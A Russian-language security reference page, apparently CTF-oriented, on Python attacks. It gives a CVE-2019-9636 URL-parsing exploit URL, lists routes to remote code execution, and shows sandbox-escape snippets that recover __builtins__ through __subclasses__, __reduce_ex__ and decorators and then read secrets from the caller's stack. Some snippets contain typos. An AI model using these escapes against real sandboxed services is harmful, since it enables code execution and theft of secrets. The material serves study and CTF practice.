# Python Security

## CVEs

[CVE-2019-9636](https://www.cvedetails.com/cve/CVE-2019-9636/) - (Python 2.7.16/3.7.2 <= ) пример эксплуатации: таск [AquaWorld](https://github.com/joshdabosh/writeups/tree/master/2020-SharkyCTF), SharkyCTF 2020: кратко, ошибка в парсинге unicode в url, в следствие чего можно было обратиться к локальному ресурсу:&#x20;

```
http://aquaworld.sharkyctf.xyz/admin-query\uFF03@127.0.0.1?flag=flag
```

## RCE

Способы добиться исполнения кода на Python:

* Через десер в pickle
* Если используется subprocess
* Через File Upload, если можем писать в директорию с модулями. Если успеем переписать какой-то модуль до его первого импорта, то будет RCE. Mitigation: использовать zipap и определять директории, где могут находиться модули через sys.path

## Python Sandbox

### Basic Tricks

#### Get any string

```python
# 1
bytes([20, 22, 24, 25]).decode()

# 2
func = lambda somestring: _
str_Somestring = func.__code__.co_varnames[0]
```

#### Перенос строки без переноса строки

В Python возврат каретки `\r` то же самое, что и перенос строки `\n`.&#x20;

#### unicode

Интерпретатору python все равно на unicode символы, он их попытается привести к ascii:

![](/files/W0ginX7MNlge8OuvbB0L)

### Работа с типами

#### Создание класса

Пусть наш код запускается следующим образом (у нас ограничен `globals`)

```python
yourcode = 'result = 1 + 1'  # Здесь наш код
namespace = {
    '__builtins__': {},
    'result': None
}
exec(yourcode, namespace)
print(namespace['result'])
```

Без `__build_class__` в `builtins` нельзя создать класс:

```python
myfunc = lambda test:_        # Создаем функцию
gobals = myfunc.__globals__   # Получаем глобальные переменные скрипта
builtins = globals['__builtins__']  # Получаем ссылку на словарь, в котором определены все из пакета builtins (или не определены)
builtins['__build_class__'] = lamda *x: 3  # Здесь может быть любая функция

class C: pass  # теперь этот код не будет вызывать ошибки, если builtins нет в globals переменных
```

#### Декораторы и вызов функций через них

Декораторы — это функции, которые в питоне могут быть представлены почти к чему угодно. Например, фунциям. С помощью декораторов можно организовать вызов какой-либо функции, не используя круглых скобок. Ограничение: вызвать можно только функции, которые принимают 1 аргумент (хорошо, что некоторые функции настроены на непозиционные аргументы или на кортежи аргументов). Пример:

```python
result = object()

returnedValues = []

@returnedValues.append
@result.__class__.__subclasses__
class X: pass
```

Другая форма вызова функции через декораторы:

```python
# 1
a = f(b)

# 2
f = lambda x: x + 1

@f
@lambda _:2  # b=2
class a:0    # a=3
```

### Sandboxes

#### builtins через subclasses

Зачем нужен builtins? — это ключ к свободному выполнению кода в Python и за пределами контекста Python.&#x20;

```python
result = SomeObjectClassFromParentContext
builtins = [x for x in result.__class__.__subclasses__() if x.__name__ == "catch_warnings"][0]()._module.__builtins__
```

#### builtins из ничего

Допустим вас запустили в контексте, где нет builtins. Как до него добраться без `__subclasses__()`и не имея ни одного объекта из внешнего контекста? (все методы во всех гайдах опираются на метод subclasses)

```python
yourcode = 'result = 1 + 1'  # Здесь наш код
namespace = {
    '__builtins__': {},
    'result': None
}
exec(yourcode, namespace)
print(namespace['result'])
```

Выбираемся (здесь как-то связано с pickle; пример без использования круглых скобок => без возможности вызова функций обычными способами):

```python
builtins['__build_class__'] = lamda *x: 3
result = ''
x = []

# ''.__reduce_ex__(3)
@x.append
@result.__reduce_ex__
class X:
  pass
  
# x — [(<function __newobj__ at 0x108e7b160>, (<class 'str'>, ''), None, None, None)]
builtins = x[0][0].__globals__['__builtins__']
```

reduce\_ex принимает номер версии протокола pickle. Прием выше будет работать с протоколом 2 и выше.

#### Получаем доступ ко всем переменным в скрипте из builtins

Пример, что можно сделать, через builtins – например, получить доступ к переменным основного контекста. Пусть наш код запускается следующим способом:

```python
yourcode = 'result = 1 + 1'  # Здесь наш код
SECRET = 'it\'s secret'     # З
namespace = {
    '__builtins__': {},
    'result': None
}
exec(yourcode, namespace)
print(namespace['result'])
```

И пусть мы уже получили каким-либо способом builtins. Тогда, через пакет inspect мы можем получить доступ ко всему стеку вызова основного скрипта:

```python
Import = builtins['__import__']
stack = Import('inspect').stack()

for frameInfo in stack:
    if 'SECRET' in frameInfo.frame.f_locals:
        print(frameInfo.frame.f_locals['SECRET'])  # it's secret
```

### Links & Papers

HackTricks Gitbook: <https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes>

Таск [Эмиля Лернера](https://t.me/neexemil) на выход из песочницы python и его решение: <https://gist.github.com/Invizory/36b5c4e037548b940c831efe350162d2>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://appsecurity.gitbook.io/devops/ppc/ppc-langs/backend/python/python-security.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
